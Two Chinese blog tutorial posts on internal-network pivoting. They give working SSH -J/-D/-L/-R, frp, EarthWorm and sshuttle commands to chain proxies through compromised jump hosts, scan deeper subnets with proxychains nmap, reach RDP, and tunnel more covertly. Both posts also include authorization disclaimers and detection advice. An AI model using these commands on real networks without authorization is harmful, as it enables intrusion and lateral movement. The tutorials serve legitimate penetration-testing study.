SSH隧道 on SoulJian小站

内网多级代理实战（纵深代理链）

Sun, 30 Aug 2026 02:10:00 +0800

写在前面：合法学习边界

多级代理只用于授权内网。对非授权网络建立代理链可能触犯法律。

一、原理：为什么要多级代理

单级代理只能从“攻击机 → 一台跳板 → 内网”。但深一点的内网往往要经过多台主机才能到达目标网段：

1

攻击机 → 跳板1 → 跳板2 → 目标网段

多级代理就是把代理“串”起来，让流量逐级穿过，最终能访问纵深网段。

1

关键：每一级都要能“继续往外/往里转”，而不是只做一个 socks

二、影响

1
2
3


打通纵深内网，横向到核心区
数据/隧道稳定回传
是内网渗透推进的关键能力

三、使用 / 复现

1. SSH 多级（最轻量）

1
2
3
4
5
6
7


# 直接跳板链：攻击机 → 跳板1 → 跳板2
ssh -J user1@跳板1,user2@跳板2 user3@目标IP
# 解释：-J 指定依次经过的跳板，一条命令直达

# 在本地起 socks，走整条链
ssh -J user1@跳板1,user2@跳板2 -D 1080 user3@目标IP
# 解释：-D 1080 建立本地 socks，配合 proxychains 访问目标网段

1
2
3
4


~/.ssh/config 里写 ProxyJump，可复用：
Host target
 ProxyJump jump1,jump2
 User xxx

2. frp 多级级联

1
2
3


一级：攻击机起 frps，跳板1 跑 frpc（socks）
二级：在跳板1 上再起 frps，跳板2 跑 frpc（socks）
依次串联，最终在本地汇聚成一条链

3. EW（EarthWorm）级联

1
2
3
4
5
6


# 跳板1（正向）：开 socks5 监听
./ew -s ssocksd -l 1080
# 攻击机（反向汇聚）：-r 本地端口 -l socks 端口
./ew -s rcsocks -l 1080 -e 8888
# 跳板2：把 8888 转给跳板1 的 1080（多级串联）
./ew -s lcx_tran -l 8888 -f 跳板1IP -p 1080

1
2


解释：一级 socks 传给二级，形成多级代理链
（老工具，很多场景已被 frp/ssh 替代，思路仍通用）

4. 本地汇聚使用

1
2
3


# proxychains 指向最终 socks 端口，访问深层网段
proxychains4 nmap -sT -Pn 10.20.0.0/24
proxychains4 rdesktop 10.20.0.5

四、操作步骤

1
2
3
4
5
6


第 1 步：画内网拓扑，确定需要几级代理
第 2 步：每级建立隧道/socks（SSH -J / frp / EW）
第 3 步：本地把多级 socks 汇聚（最终一个端口）
第 4 步：proxychains 访问目标网段并横向
第 5 步：按需加端口转发（RDP/数据库）
第 6 步：用后清理代理进程与会话

五、检测与防御

1
2
3
4


异常 SSH 长连接、多跳连接特征
隧道工具进程（frp/ew）特征
异常外联与非常规端口
出站白名单 + 连接审计

六、小结

多级代理 = “画拓扑 → 逐级建隧道 → 本地汇聚 → 横向”。SSH 的 -J/-D 是最轻量的选择，frp 适合复杂级联，EW 是老牌但思路通用。掌握它，才能从“进得去”推进到“够得着核心网段”。

SSH 隧道与内网代理（本地/远程/动态转发）

Sun, 30 Aug 2026 01:30:00 +0800

写在前面：合法学习边界

隧道只用于授权内网。对非授权网络建立通道可能触犯法律。

一、原理：SSH 隧道为什么好用

SSH 协议默认放行、加密，能借助一台已控主机打通内网，且不需要额外装客户端（多数系统自带 ssh）。

1
2
3
4


三种转发：
-L 本地转发：把内网端口映射到本地
-R 远程转发：把本地端口暴露到远程
-D 动态转发：建立 Socks 代理，走整个内网

二、影响

1
2
3


不用装 frp/EW 也能穿内网（免落地工具）
加密流量更难检测
配合 proxychains 打通内网横向

三、使用 / 复现

1. 本地转发（访问内网某端口）

1
2
3
4


# 把内网 10.0.0.5:3389 映射到本地 13389
ssh -L 13389:10.0.0.5:3389 user@跳板机
# 解释：-L 本地端口:目标地址:目标端口
rdesktop 127.0.0.1:13389

2. 动态转发（Socks 代理全内网）

1
2
3
4
5


# 在跳板机上建立 socks，本地监听 1080
ssh -D 1080 user@跳板机
# 解释：-D 动态转发，相当于 socks5 代理
# 配合 proxychains 访问内网
proxychains4 nmap -sT -Pn 10.0.0.0/24

3. 远程转发（目标无法直连我们时）

1
2
3
4


# 目标机主动连我们的 2222，把它的 22 暴露给我们
ssh -R 2222:127.0.0.1:22 攻击机用户@攻击机IP
# 解释：-R 远程端口:本地地址:本地端口
# 之后我们连攻击机 2222 即到目标的 22

4. sshuttle（整段子网代理，更快）

1
2


sshuttle -r user@跳板机 10.0.0.0/24
# 解释：把内网段全部代理，无需逐个 -L

5. 隧道化更隐蔽

1
2


# 把隧道走代理/开压缩/长连接
ssh -o Compression=yes -o ServerAliveInterval=30 ...

四、操作步骤

1
2
3
4
5


第 1 步：确认已控主机能连（ssh 可达）
第 2 步：按需求选转发方式（单端口 -L / 全内网 -D / 反向 -R）
第 3 步：建立隧道并本地验证连通
第 4 步：配合 proxychains/sshuttle 横向
第 5 步：用后清理会话

五、检测与防御

1
2
3
4


异常 SSH 长连接、多个 SSH 隧道特征
连接目标非常规端口
外联 IP 白名单
记录 SSH 会话审计

六、小结

SSH 隧道是“零落地、免工具”的内网代理首选：-L 打单个端口、-D 打整个内网、-R 用于目标连不回的场景。它和 frp 互为补充——SSH 适合有 ssh 凭证、frp 适合更复杂的多级隧道。防守重点在异常 SSH 连接与出站策略。